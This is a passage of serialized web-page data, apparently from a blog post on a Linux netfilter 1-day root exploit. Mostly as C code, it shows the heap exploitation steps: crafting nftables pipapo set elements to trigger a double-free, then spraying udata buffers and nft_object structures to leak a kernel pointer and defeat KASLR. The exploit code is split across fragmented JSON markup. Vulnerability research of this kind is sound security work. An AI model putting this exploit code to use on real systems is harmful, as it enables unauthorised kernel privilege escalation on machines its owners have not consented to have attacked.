pipapo set\n",{"type":21,"tag":85,"props":54827,"children":54828},{"class":87,"line":1100},[54829,54834,54838,54842,54846],{"type":21,"tag":85,"props":54830,"children":54831},{"style":114},[54832],{"type":26,"value":54833},"    uint8_t desc[2] = {",{"type":21,"tag":85,"props":54835,"children":54836},{"style":2285},[54837],{"type":26,"value":41296},{"type":21,"tag":85,"props":54839,"children":54840},{"style":114},[54841],{"type":26,"value":256},{"type":21,"tag":85,"props":54843,"children":54844},{"style":2285},[54845],{"type":26,"value":41296},{"type":21,"tag":85,"props":54847,"children":54848},{"style":114},[54849],{"type":26,"value":16998},{"type":21,"tag":85,"props":54851,"children":54852},{"class":87,"line":1339},[54853,54858,54862,54867],{"type":21,"tag":85,"props":54854,"children":54855},{"style":114},[54856],{"type":26,"value":54857},"    set ",{"type":21,"tag":85,"props":54859,"children":54860},{"style":169},[54861],{"type":26,"value":741},{"type":21,"tag":85,"props":54863,"children":54864},{"style":1021},[54865],{"type":26,"value":54866}," create_set",{"type":21,"tag":85,"props":54868,"children":54869},{"style":114},[54870],{"type":26,"value":1029},{"type":21,"tag":85,"props":54872,"children":54873},{"class":87,"line":1348},[54874,54879,54883,54888,54893,54897,54901],{"type":21,"tag":85,"props":54875,"children":54876},{"style":114},[54877],{"type":26,"value":54878},"        batch, seq",{"type":21,"tag":85,"props":54880,"children":54881},{"style":169},[54882],{"type":26,"value":51725},{"type":21,"tag":85,"props":54884,"children":54885},{"style":114},[54886],{"type":26,"value":54887},", exploit_table_name, ",{"type":21,"tag":85,"props":54889,"children":54890},{"style":5026},[54891],{"type":26,"value":54892},"\"pwn_set\"",{"type":21,"tag":85,"props":54894,"children":54895},{"style":114},[54896],{"type":26,"value":256},{"type":21,"tag":85,"props":54898,"children":54899},{"style":2285},[54900],{"type":26,"value":43953},{"type":21,"tag":85,"props":54902,"children":54903},{"style":114},[54904],{"type":26,"value":182},{"type":21,"tag":85,"props":54906,"children":54907},{"class":87,"line":1386},[54908,54913,54917,54922,54926,54931,54935,54939,54943,54948,54953,54957,54961],{"type":21,"tag":85,"props":54909,"children":54910},{"style":114},[54911],{"type":26,"value":54912},"        NFT_SET_INTERVAL ",{"type":21,"tag":85,"props":54914,"children":54915},{"style":169},[54916],{"type":26,"value":10831},{"type":21,"tag":85,"props":54918,"children":54919},{"style":114},[54920],{"type":26,"value":54921}," NFT_SET_OBJECT ",{"type":21,"tag":85,"props":54923,"children":54924},{"style":169},[54925],{"type":26,"value":10831},{"type":21,"tag":85,"props":54927,"children":54928},{"style":114},[54929],{"type":26,"value":54930}," NFT_SET_CONCAT, KEY_LEN, ",{"type":21,"tag":85,"props":54932,"children":54933},{"style":2285},[54934],{"type":26,"value":3895},{"type":21,"tag":85,"props":54936,"children":54937},{"style":114},[54938],{"type":26,"value":256},{"type":21,"tag":85,"props":54940,"children":54941},{"style":169},[54942],{"type":26,"value":2238},{"type":21,"tag":85,"props":54944,"children":54945},{"style":114},[54946],{"type":26,"value":54947},"desc, ",{"type":21,"tag":85,"props":54949,"children":54950},{"style":102},[54951],{"type":26,"value":54952},"NULL",{"type":21,"tag":85,"props":54954,"children":54955},{"style":114},[54956],{"type":26,"value":256},{"type":21,"tag":85,"props":54958,"children":54959},{"style":2285},[54960],{"type":26,"value":4789},{"type":21,"tag":85,"props":54962,"children":54963},{"style":114},[54964],{"type":26,"value":54965},", NFT_OBJECT_CT_EXPECT);\n",{"type":21,"tag":85,"props":54967,"children":54968},{"class":87,"line":1394},[54969],{"type":21,"tag":85,"props":54970,"children":54971},{"emptyLinePlaceholder":16},[54972],{"type":26,"value":703},{"type":21,"tag":85,"props":54974,"children":54975},{"class":87,"line":1402},[54976],{"type":21,"tag":85,"props":54977,"children":54978},{"style":92},[54979],{"type":26,"value":54980},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":21,"tag":85,"props":54982,"children":54983},{"class":87,"line":3145},[54984,54988,54992,54996,55001,55005,55009,55013,55017,55021,55025,55029],{"type":21,"tag":85,"props":54985,"children":54986},{"style":2885},[54987],{"type":26,"value":3809},{"type":21,"tag":85,"props":54989,"children":54990},{"style":114},[54991],{"type":26,"value":717},{"type":21,"tag":85,"props":54993,"children":54994},{"style":102},[54995],{"type":26,"value":19473},{"type":21,"tag":85,"props":54997,"children":54998},{"style":114},[54999],{"type":26,"value":55000}," i ",{"type":21,"tag":85,"props":55002,"children":55003},{"style":169},[55004],{"type":26,"value":741},{"type":21,"tag":85,"props":55006,"children":55007},{"style":2285},[55008],{"type":26,"value":2830},{"type":21,"tag":85,"props":55010,"children":55011},{"style":114},[55012],{"type":26,"value":51689},{"type":21,"tag":85,"props":55014,"children":55015},{"style":169},[55016],{"type":26,"value":117},{"type":21,"tag":85,"props":55018,"children":55019},{"style":2285},[55020],{"type":26,"value":2288},{"type":21,"tag":85,"props":55022,"children":55023},{"style":114},[55024],{"type":26,"value":51720},{"type":21,"tag":85,"props":55026,"children":55027},{"style":169},[55028],{"type":26,"value":51725},{"type":21,"tag":85,"props":55030,"children":55031},{"style":114},[55032],{"type":26,"value":2485},{"type":21,"tag":85,"props":55034,"children":55035},{"class":87,"line":3246},[55036],{"type":21,"tag":85,"props":55037,"children":55038},{"style":114},[55039],{"type":26,"value":29630},{"type":21,"tag":85,"props":55041,"children":55042},{"class":87,"line":3255},[55043,55048,55053,55057,55062],{"type":21,"tag":85,"props":55044,"children":55045},{"style":120},[55046],{"type":26,"value":55047},"        elem",{"type":21,"tag":85,"props":55049,"children":55050},{"style":114},[55051],{"type":26,"value":55052},"[i] ",{"type":21,"tag":85,"props":55054,"children":55055},{"style":169},[55056],{"type":26,"value":741},{"type":21,"tag":85,"props":55058,"children":55059},{"style":1021},[55060],{"type":26,"value":55061}," nftnl_set_elem_alloc",{"type":21,"tag":85,"props":55063,"children":55064},{"style":114},[55065],{"type":26,"value":4437},{"type":21,"tag":85,"props":55067,"children":55068},{"class":87,"line":3286},[55069,55074,55079,55084,55088],{"type":21,"tag":85,"props":55070,"children":55071},{"style":1021},[55072],{"type":26,"value":55073},"        memset",{"type":21,"tag":85,"props":55075,"children":55076},{"style":114},[55077],{"type":26,"value":55078},"(key, ",{"type":21,"tag":85,"props":55080,"children":55081},{"style":2285},[55082],{"type":26,"value":55083},"0x41",{"type":21,"tag":85,"props":55085,"children":55086},{"style":169},[55087],{"type":26,"value":3274},{"type":21,"tag":85,"props":55089,"children":55090},{"style":114},[55091],{"type":26,"value":55092}," i, KEY_LEN);\n",{"type":21,"tag":85,"props":55094,"children":55095},{"class":87,"line":3295},[55096,55101,55105,55109,55114,55119,55123,55128],{"type":21,"tag":85,"props":55097,"children":55098},{"style":1021},[55099],{"type":26,"value":55100},"        nftnl_set_elem_set",{"type":21,"tag":85,"props":55102,"children":55103},{"style":114},[55104],{"type":26,"value":1439},{"type":21,"tag":85,"props":55106,"children":55107},{"style":120},[55108],{"type":26,"value":52520},{"type":21,"tag":85,"props":55110,"children":55111},{"style":114},[55112],{"type":26,"value":55113},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":21,"tag":85,"props":55115,"children":55116},{"style":5026},[55117],{"type":26,"value":55118},"\"pwnobj\"",{"type":21,"tag":85,"props":55120,"children":55121},{"style":114},[55122],{"type":26,"value":256},{"type":21,"tag":85,"props":55124,"children":55125},{"style":2285},[55126],{"type":26,"value":55127},"7",{"type":21,"tag":85,"props":55129,"children":55130},{"style":114},[55131],{"type":26,"value":777},{"type":21,"tag":85,"props":55133,"children":55134},{"class":87,"line":3308},[55135,55139,55143,55147,55152,55156],{"type":21,"tag":85,"props":55136,"children":55137},{"style":1021},[55138],{"type":26,"value":55100},{"type":21,"tag":85,"props":55140,"children":55141},{"style":114},[55142],{"type":26,"value":1439},{"type":21,"tag":85,"props":55144,"children":55145},{"style":120},[55146],{"type":26,"value":52520},{"type":21,"tag":85,"props":55148,"children":55149},{"style":114},[55150],{"type":26,"value":55151},"[i], NFTNL_SET_ELEM_KEY, ",{"type":21,"tag":85,"props":55153,"children":55154},{"style":169},[55155],{"type":26,"value":2238},{"type":21,"tag":85,"props":55157,"children":55158},{"style":114},[55159],{"type":26,"value":55160},"key, KEY_LEN);\n",{"type":21,"tag":85,"props":55162,"children":55163},{"class":87,"line":3333},[55164,55168,55172,55176,55181,55185],{"type":21,"tag":85,"props":55165,"children":55166},{"style":1021},[55167],{"type":26,"value":55100},{"type":21,"tag":85,"props":55169,"children":55170},{"style":114},[55171],{"type":26,"value":1439},{"type":21,"tag":85,"props":55173,"children":55174},{"style":120},[55175],{"type":26,"value":52520},{"type":21,"tag":85,"props":55177,"children":55178},{"style":114},[55179],{"type":26,"value":55180},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":21,"tag":85,"props":55182,"children":55183},{"style":169},[55184],{"type":26,"value":2238},{"type":21,"tag":85,"props":55186,"children":55187},{"style":114},[55188],{"type":26,"value":55189},"udata_buf, size);\n",{"type":21,"tag":85,"props":55191,"children":55192},{"class":87,"line":3369},[55193,55198,55203,55207],{"type":21,"tag":85,"props":55194,"children":55195},{"style":1021},[55196],{"type":26,"value":55197},"        nftnl_set_elem_add",{"type":21,"tag":85,"props":55199,"children":55200},{"style":114},[55201],{"type":26,"value":55202},"(set, ",{"type":21,"tag":85,"props":55204,"children":55205},{"style":120},[55206],{"type":26,"value":52520},{"type":21,"tag":85,"props":55208,"children":55209},{"style":114},[55210],{"type":26,"value":55211},"[i]);\n",{"type":21,"tag":85,"props":55213,"children":55214},{"class":87,"line":3377},[55215],{"type":21,"tag":85,"props":55216,"children":55217},{"style":114},[55218],{"type":26,"value":507},{"type":21,"tag":85,"props":55220,"children":55221},{"class":87,"line":3386},[55222],{"type":21,"tag":85,"props":55223,"children":55224},{"style":114},[55225],{"type":26,"value":10733},{"type":21,"tag":85,"props":55227,"children":55228},{"class":87,"line":3394},[55229],{"type":21,"tag":85,"props":55230,"children":55231},{"emptyLinePlaceholder":16},[55232],{"type":26,"value":703},{"type":21,"tag":85,"props":55234,"children":55235},{"class":87,"line":3410},[55236],{"type":21,"tag":85,"props":55237,"children":55238},{"style":114},[55239],{"type":26,"value":55240},"    // TRANSACTION 3\n",{"type":21,"tag":85,"props":55242,"children":55243},{"class":87,"line":3427},[55244],{"type":21,"tag":85,"props":55245,"children":55246},{"style":114},[55247],{"type":26,"value":10733},{"type":21,"tag":85,"props":55249,"children":55250},{"class":87,"line":3445},[55251],{"type":21,"tag":85,"props":55252,"children":55253},{"style":114},[55254],{"type":26,"value":55255},"    set = nftnl_set_alloc();\n",{"type":21,"tag":85,"props":55257,"children":55258},{"class":87,"line":3490},[55259,55264],{"type":21,"tag":85,"props":55260,"children":55261},{"style":1021},[55262],{"type":26,"value":55263},"    nftnl_set_set_u32",{"type":21,"tag":85,"props":55265,"children":55266},{"style":114},[55267],{"type":26,"value":55268},"(set, NFTNL_SET_FAMILY, family);\n",{"type":21,"tag":85,"props":55270,"children":55271},{"class":87,"line":3596},[55272,55277],{"type":21,"tag":85,"props":55273,"children":55274},{"style":1021},[55275],{"type":26,"value":55276},"    nftnl_set_set_str",{"type":21,"tag":85,"props":55278,"children":55279},{"style":114},[55280],{"type":26,"value":55281},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":21,"tag":85,"props":55283,"children":55284},{"class":87,"line":23938},[55285,55289,55294,55298],{"type":21,"tag":85,"props":55286,"children":55287},{"style":1021},[55288],{"type":26,"value":55276},{"type":21,"tag":85,"props":55290,"children":55291},{"style":114},[55292],{"type":26,"value":55293},"(set, NFTNL_SET_NAME, ",{"type":21,"tag":85,"props":55295,"children":55296},{"style":5026},[55297],{"type":26,"value":54892},{"type":21,"tag":85,"props":55299,"children":55300},{"style":114},[55301],{"type":26,"value":777},{"type":21,"tag":85,"props":55303,"children":55304},{"class":87,"line":23973},[55305],{"type":21,"tag":85,"props":55306,"children":55307},{"emptyLinePlaceholder":16},[55308],{"type":26,"value":703},{"type":21,"tag":85,"props":55310,"children":55311},{"class":87,"line":23981},[55312],{"type":21,"tag":85,"props":55313,"children":55314},{"style":92},[55315],{"type":26,"value":55316},"    // make priv->dirty true\n",{"type":21,"tag":85,"props":55318,"children":55319},{"class":87,"line":23989},[55320,55325,55329,55334],{"type":21,"tag":85,"props":55321,"children":55322},{"style":1021},[55323],{"type":26,"value":55324},"    memset",{"type":21,"tag":85,"props":55326,"children":55327},{"style":114},[55328],{"type":26,"value":55078},{"type":21,"tag":85,"props":55330,"children":55331},{"style":2285},[55332],{"type":26,"value":55333},"0xff",{"type":21,"tag":85,"props":55335,"children":55336},{"style":114},[55337],{"type":26,"value":55338},", KEY_LEN);\n",{"type":21,"tag":85,"props":55340,"children":55341},{"class":87,"line":23998},[55342,55347,55351,55355,55359,55363,55367],{"type":21,"tag":85,"props":55343,"children":55344},{"style":120},[55345],{"type":26,"value":55346},"    elem",{"type":21,"tag":85,"props":55348,"children":55349},{"style":114},[55350],{"type":26,"value":3016},{"type":21,"tag":85,"props":55352,"children":55353},{"style":2285},[55354],{"type":26,"value":17718},{"type":21,"tag":85,"props":55356,"children":55357},{"style":114},[55358],{"type":26,"value":3026},{"type":21,"tag":85,"props":55360,"children":55361},{"style":169},[55362],{"type":26,"value":741},{"type":21,"tag":85,"props":55364,"children":55365},{"style":1021},[55366],{"type":26,"value":55061},{"type":21,"tag":85,"props":55368,"children":55369},{"style":114},[55370],{"type":26,"value":4437},{"type":21,"tag":85,"props":55372,"children":55373},{"class":87,"line":24040},[55374,55379,55383,55387,55391,55395,55400,55404,55408,55412],{"type":21,"tag":85,"props":55375,"children":55376},{"style":1021},[55377],{"type":26,"value":55378},"    nftnl_set_elem_set",{"type":21,"tag":85,"props":55380,"children":55381},{"style":114},[55382],{"type":26,"value":1439},{"type":21,"tag":85,"props":55384,"children":55385},{"style":120},[55386],{"type":26,"value":52520},{"type":21,"tag":85,"props":55388,"children":55389},{"style":114},[55390],{"type":26,"value":3016},{"type":21,"tag":85,"props":55392,"children":55393},{"style":2285},[55394],{"type":26,"value":17718},{"type":21,"tag":85,"props":55396,"children":55397},{"style":114},[55398],{"type":26,"value":55399},"], NFTNL_SET_ELEM_OBJREF, ",{"type":21,"tag":85,"props":55401,"children":55402},{"style":5026},[55403],{"type":26,"value":55118},{"type":21,"tag":85,"props":55405,"children":55406},{"style":114},[55407],{"type":26,"value":256},{"type":21,"tag":85,"props":55409,"children":55410},{"style":2285},[55411],{"type":26,"value":55127},{"type":21,"tag":85,"props":55413,"children":55414},{"style":114},[55415],{"type":26,"value":777},{"type":21,"tag":85,"props":55417,"children":55418},{"class":87,"line":24073},[55419,55423,55427,55431,55435,55439,55444,55448],{"type":21,"tag":85,"props":55420,"children":55421},{"style":1021},[55422],{"type":26,"value":55378},{"type":21,"tag":85,"props":55424,"children":55425},{"style":114},[55426],{"type":26,"value":1439},{"type":21,"tag":85,"props":55428,"children":55429},{"style":120},[55430],{"type":26,"value":52520},{"type":21,"tag":85,"props":55432,"children":55433},{"style":114},[55434],{"type":26,"value":3016},{"type":21,"tag":85,"props":55436,"children":55437},{"style":2285},[55438],{"type":26,"value":17718},{"type":21,"tag":85,"props":55440,"children":55441},{"style":114},[55442],{"type":26,"value":55443},"], NFTNL_SET_ELEM_KEY, ",{"type":21,"tag":85,"props":55445,"children":55446},{"style":169},[55447],{"type":26,"value":2238},{"type":21,"tag":85,"props":55449,"children":55450},{"style":114},[55451],{"type":26,"value":55160},{"type":21,"tag":85,"props":55453,"children":55454},{"class":87,"line":24081},[55455,55460,55464,55468,55472,55476],{"type":21,"tag":85,"props":55456,"children":55457},{"style":1021},[55458],{"type":26,"value":55459},"    nftnl_set_elem_add",{"type":21,"tag":85,"props":55461,"children":55462},{"style":114},[55463],{"type":26,"value":55202},{"type":21,"tag":85,"props":55465,"children":55466},{"style":120},[55467],{"type":26,"value":52520},{"type":21,"tag":85,"props":55469,"children":55470},{"style":114},[55471],{"type":26,"value":3016},{"type":21,"tag":85,"props":55473,"children":55474},{"style":2285},[55475],{"type":26,"value":17718},{"type":21,"tag":85,"props":55477,"children":55478},{"style":114},[55479],{"type":26,"value":4517},{"type":21,"tag":85,"props":55481,"children":55482},{"class":87,"line":24089},[55483],{"type":21,"tag":85,"props":55484,"children":55485},{"style":114},[55486],{"type":26,"value":10733},{"type":21,"tag":85,"props":55488,"children":55489},{"class":87,"line":24098},[55490],{"type":21,"tag":85,"props":55491,"children":55492},{"emptyLinePlaceholder":16},[55493],{"type":26,"value":703},{"type":21,"tag":85,"props":55495,"children":55496},{"class":87,"line":24174},[55497],{"type":21,"tag":85,"props":55498,"children":55499},{"style":114},[55500],{"type":26,"value":55501},"    // double-free commited elems\n",{"type":21,"tag":85,"props":55503,"children":55504},{"class":87,"line":24207},[55505],{"type":21,"tag":85,"props":55506,"children":55507},{"style":114},[55508],{"type":26,"value":10733},{"type":21,"tag":85,"props":55510,"children":55511},{"class":87,"line":24215},[55512,55517,55521],{"type":21,"tag":85,"props":55513,"children":55514},{"style":114},[55515],{"type":26,"value":55516},"    nftnl_set_free(",{"type":21,"tag":85,"props":55518,"children":55519},{"style":108},[55520],{"type":26,"value":51475},{"type":21,"tag":85,"props":55522,"children":55523},{"style":114},[55524],{"type":26,"value":777},{"type":21,"tag":85,"props":55526,"children":55527},{"class":87,"line":24223},[55528],{"type":21,"tag":85,"props":55529,"children":55530},{"style":114},[55531],{"type":26,"value":2671},{"type":21,"tag":85,"props":55533,"children":55534},{"class":87,"line":24260},[55535],{"type":21,"tag":85,"props":55536,"children":55537},{"style":114},[55538],{"type":26,"value":10733},{"type":21,"tag":10022,"props":55540,"children":55542},{"id":55541},"leaking-kaslr",[55543],{"type":26,"value":55544},"Leaking KASLR",{"type":21,"tag":22,"props":55546,"children":55547},{},[55548,55550,55556,55558,55563,55565,55571,55573,55579,55581],{"type":26,"value":55549},"Tables contain an outline user data buffer ",{"type":21,"tag":66,"props":55551,"children":55553},{"className":55552},[],[55554],{"type":26,"value":55555},"udata",{"type":26,"value":55557}," that we can both read and write. By allocating a ",{"type":21,"tag":66,"props":55559,"children":55561},{"className":55560},[],[55562],{"type":26,"value":55555},{"type":26,"value":55564}," buffer on the double-free slot and then overlapping it with an ",{"type":21,"tag":66,"props":55566,"children":55568},{"className":55567},[],[55569],{"type":26,"value":55570},"nft_object",{"type":26,"value":55572}," we can leak the ",{"type":21,"tag":66,"props":55574,"children":55576},{"className":55575},[],[55577],{"type":26,"value":55578},"->ops",{"type":26,"value":55580}," pointer, and use it to calculate the KASLR slide.\n",{"type":21,"tag":4681,"props":55582,"children":55584},{"alt":51034,"src":55583},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":21,"tag":75,"props":55586,"children":55588},{"className":29553,"code":55587,"language":29555,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[55589],{"type":21,"tag":66,"props":55590,"children":55591},{"__ignoreMap":7},[55592,55599,55607,55642,55649,55657,55682,55709,55760,55767,55800,55826,55833,55898,55905,55926,55933,55940,55948,55956,55977,56006,56018,56062,56118],{"type":21,"tag":85,"props":55593,"children":55594},{"class":87,"line":88},[55595],{"type":21,"tag":85,"props":55596,"children":55597},{"style":114},[55598],{"type":26,"value":10733},{"type":21,"tag":85,"props":55600,"children":55601},{"class":87,"line":98},[55602],{"type":21,"tag":85,"props":55603,"children":55604},{"style":114},[55605],{"type":26,"value":55606},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":21,"tag":85,"props":55608,"children":55609},{"class":87,"line":151},[55610,55615,55619,55624,55629,55634,55638],{"type":21,"tag":85,"props":55611,"children":55612},{"style":114},[55613],{"type":26,"value":55614},"    udata_spray(",{"type":21,"tag":85,"props":55616,"children":55617},{"style":108},[55618],{"type":26,"value":54746},{"type":21,"tag":85,"props":55620,"children":55621},{"style":114},[55622],{"type":26,"value":55623},", 0",{"type":21,"tag":85,"props":55625,"children":55626},{"style":108},[55627],{"type":26,"value":55628},"xe8",{"type":21,"tag":85,"props":55630,"children":55631},{"style":114},[55632],{"type":26,"value":55633},", 0, 3, ",{"type":21,"tag":85,"props":55635,"children":55636},{"style":108},[55637],{"type":26,"value":54952},{"type":21,"tag":85,"props":55639,"children":55640},{"style":114},[55641],{"type":26,"value":777},{"type":21,"tag":85,"props":55643,"children":55644},{"class":87,"line":160},[55645],{"type":21,"tag":85,"props":55646,"children":55647},{"emptyLinePlaceholder":16},[55648],{"type":26,"value":703},{"type":21,"tag":85,"props":55650,"children":55651},{"class":87,"line":185},[55652],{"type":21,"tag":85,"props":55653,"children":55654},{"style":92},[55655],{"type":26,"value":55656},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":21,"tag":85,"props":55658,"children":55659},{"class":87,"line":501},[55660,55665,55670,55674,55678],{"type":21,"tag":85,"props":55661,"children":55662},{"style":102},[55663],{"type":26,"value":55664},"    char",{"type":21,"tag":85,"props":55666,"children":55667},{"style":120},[55668],{"type":26,"value":55669}," spray_name",{"type":21,"tag":85,"props":55671,"children":55672},{"style":114},[55673],{"type":26,"value":3016},{"type":21,"tag":85,"props":55675,"children":55676},{"style":2285},[55677],{"type":26,"value":41296},{"type":21,"tag":85,"props":55679,"children":55680},{"style":114},[55681],{"type":26,"value":32019},{"type":21,"tag":85,"props":55683,"children":55684},{"class":87,"line":697},[55685,55689,55693,55697,55701,55705],{"type":21,"tag":85,"props":55686,"children":55687},{"style":102},[55688],{"type":26,"value":55664},{"type":21,"tag":85,"props":55690,"children":55691},{"style":169},[55692],{"type":26,"value":10231},{"type":21,"tag":85,"props":55694,"children":55695},{"style":120},[55696],{"type":26,"value":55555},{"type":21,"tag":85,"props":55698,"children":55699},{"style":114},[55700],{"type":26,"value":3016},{"type":21,"tag":85,"props":55702,"children":55703},{"style":2285},[55704],{"type":26,"value":17718},{"type":21,"tag":85,"props":55706,"children":55707},{"style":114},[55708],{"type":26,"value":32019},{"type":21,"tag":85,"props":55710,"children":55711},{"class":87,"line":706},[55712,55716,55720,55724,55728,55732,55736,55740,55744,55748,55752,55756],{"type":21,"tag":85,"props":55713,"children":55714},{"style":2885},[55715],{"type":26,"value":3809},{"type":21,"tag":85,"props":55717,"children":55718},{"style":114},[55719],{"type":26,"value":717},{"type":21,"tag":85,"props":55721,"children":55722},{"style":102},[55723],{"type":26,"value":19473},{"type":21,"tag":85,"props":55725,"children":55726},{"style":114},[55727],{"type":26,"value":55000},{"type":21,"tag":85,"props":55729,"children":55730},{"style":169},[55731],{"type":26,"value":741},{"type":21,"tag":85,"props":55733,"children":55734},{"style":2285},[55735],{"type":26,"value":2830},{"type":21,"tag":85,"props":55737,"children":55738},{"style":114},[55739],{"type":26,"value":51689},{"type":21,"tag":85,"props":55741,"children":55742},{"style":169},[55743],{"type":26,"value":117},{"type":21,"tag":85,"props":55745,"children":55746},{"style":2285},[55747],{"type":26,"value":19525},{"type":21,"tag":85,"props":55749,"children":55750},{"style":114},[55751],{"type":26,"value":51720},{"type":21,"tag":85,"props":55753,"children":55754},{"style":169},[55755],{"type":26,"value":51725},{"type":21,"tag":85,"props":55757,"children":55758},{"style":114},[55759],{"type":26,"value":2485},{"type":21,"tag":85,"props":55761,"children":55762},{"class":87,"line":1100},[55763],{"type":21,"tag":85,"props":55764,"children":55765},{"style":114},[55766],{"type":26,"value":29630},{"type":21,"tag":85,"props":55768,"children":55769},{"class":87,"line":1339},[55770,55775,55780,55785,55790,55795],{"type":21,"tag":85,"props":55771,"children":55772},{"style":1021},[55773],{"type":26,"value":55774},"        snprintf",{"type":21,"tag":85,"props":55776,"children":55777},{"style":114},[55778],{"type":26,"value":55779},"(spray_name, ",{"type":21,"tag":85,"props":55781,"children":55782},{"style":102},[55783],{"type":26,"value":55784},"sizeof",{"type":21,"tag":85,"props":55786,"children":55787},{"style":114},[55788],{"type":26,"value":55789},"(spray_name), ",{"type":21,"tag":85,"props":55791,"children":55792},{"style":5026},[55793],{"type":26,"value":55794},"\"spray-%i\"",{"type":21,"tag":85,"props":55796,"children":55797},{"style":114},[55798],{"type":26,"value":55799},", i);\n",{"type":21,"tag":85,"props":55801,"children":55802},{"class":87,"line":1348},[55803,55808,55812,55816,55821],{"type":21,"tag":85,"props":55804,"children":55805},{"style":120},[55806],{"type":26,"value":55807},"        udata",{"type":21,"tag":85,"props":55809,"children":55810},{"style":114},[55811],{"type":26,"value":55052},{"type":21,"tag":85,"props":55813,"children":55814},{"style":169},[55815],{"type":26,"value":741},{"type":21,"tag":85,"props":55817,"children":55818},{"style":1021},[55819],{"type":26,"value":55820}," getudata",{"type":21,"tag":85,"props":55822,"children":55823},{"style":114},[55824],{"type":26,"value":55825},"(nl, spray_name);\n",{"type":21,"tag":85,"props":55827,"children":55828},{"class":87,"line":1386},[55829],{"type":21,"tag":85,"props":55830,"children":55831},{"style":114},[55832],{"type":26,"value":507},{"type":21,"tag":85,"props":55834,"children":55835},{"class":87,"line":1394},[55836,55840,55844,55848,55852,55856,55860,55864,55868,55872,55877,55881,55885,55889,55893],{"type":21,"tag":85,"props":55837,"children":55838},{"style":2885},[55839],{"type":26,"value":12696},{"type":21,"tag":85,"props":55841,"children":55842},{"style":114},[55843],{"type":26,"value":717},{"type":21,"tag":85,"props":55845,"children":55846},{"style":120},[55847],{"type":26,"value":55555},{"type":21,"tag":85,"props":55849,"children":55850},{"style":114},[55851],{"type":26,"value":3016},{"type":21,"tag":85,"props":55853,"children":55854},{"style":2285},[55855],{"type":26,"value":4789},{"type":21,"tag":85,"props":55857,"children":55858},{"style":114},[55859],{"type":26,"value":49413},{"type":21,"tag":85,"props":55861,"children":55862},{"style":2285},[55863],{"type":26,"value":4789},{"type":21,"tag":85,"props":55865,"children":55866},{"style":114},[55867],{"type":26,"value":3026},{"type":21,"tag":85,"props":55869,"children":55870},{"style":169},[55871],{"type":26,"value":2936},{"type":21,"tag":85,"props":55873,"children":55874},{"style":120},[55875],{"type":26,"value":55876}," udata",{"type":21,"tag":85,"props":55878,"children":55879},{"style":114},[55880],{"type":26,"value":3016},{"type":21,"tag":85,"props":55882,"children":55883},{"style":2285},[55884],{"type":26,"value":3895},{"type":21,"tag":85,"props":55886,"children":55887},{"style":114},[55888],{"type":26,"value":49413},{"type":21,"tag":85,"props":55890,"children":55891},{"style":2285},[55892],{"type":26,"value":4789},{"type":21,"tag":85,"props":55894,"children":55895},{"style":114},[55896],{"type":26,"value":55897},"])\n",{"type":21,"tag":85,"props":55899,"children":55900},{"class":87,"line":1402},[55901],{"type":21,"tag":85,"props":55902,"children":55903},{"style":114},[55904],{"type":26,"value":29630},{"type":21,"tag":85,"props":55906,"children":55907},{"class":87,"line":3145},[55908,55913,55917,55922],{"type":21,"tag":85,"props":55909,"children":55910},{"style":1021},[55911],{"type":26,"value":55912},"        puts",{"type":21,"tag":85,"props":55914,"children":55915},{"style":114},[55916],{"type":26,"value":1439},{"type":21,"tag":85,"props":55918,"children":55919},{"style":5026},[55920],{"type":26,"value":55921},"\"[+] got duplicated table\"",{"type":21,"tag":85,"props":55923,"children":55924},{"style":114},[55925],{"type":26,"value":777},{"type":21,"tag":85,"props":55927,"children":55928},{"class":87,"line":3246},[55929],{"type":21,"tag":85,"props":55930,"children":55931},{"style":114},[55932],{"type":26,"value":507},{"type":21,"tag":85,"props":55934,"children":55935},{"class":87,"line":3255},[55936],{"type":21,"tag":85,"props":55937,"children":55938},{"emptyLinePlaceholder":16},[55939],{"type":26,"value":703},{"type":21,"tag":85,"props":55941,"children":55942},{"class":87,"line":3286},[55943],{"type":21,"tag":85,"props":55944,"children":55945},{"style":92},[55946],{"type":26,"value":55947},"    // Replace one of the udata buffers with nft_object\n",{"type":21,"tag":85,"props":55949,"children":55950},{"class":87,"line":3295},[55951],{"type":21,"tag":85,"props":55952,"children":55953},{"style":92},[55954],{"type":26,"value":55955},"    // and read it's counterpart to leak the nft_object struct\n",{"type":21,"tag":85,"props":55957,"children":55958},{"class":87,"line":3308},[55959,55964,55968,55973],{"type":21,"tag":85,"props":55960,"children":55961},{"style":1021},[55962],{"type":26,"value":55963},"    puts",{"type":21,"tag":85,"props":55965,"children":55966},{"style":114},[55967],{"type":26,"value":1439},{"type":21,"tag":85,"props":55969,"children":55970},{"style":5026},[55971],{"type":26,"value":55972},"\"[*] Info leak\"",{"type":21,"tag":85,"props":55974,"children":55975},{"style":114},[55976],{"type":26,"value":777},{"type":21,"tag":85,"props":55978,"children":55979},{"class":87,"line":3333},[55980,55985,55990,55994,55998,56002],{"type":21,"tag":85,"props":55981,"children":55982},{"style":1021},[55983],{"type":26,"value":55984},"    deludata_spray",{"type":21,"tag":85,"props":55986,"children":55987},{"style":114},[55988],{"type":26,"value":55989},"(nl, 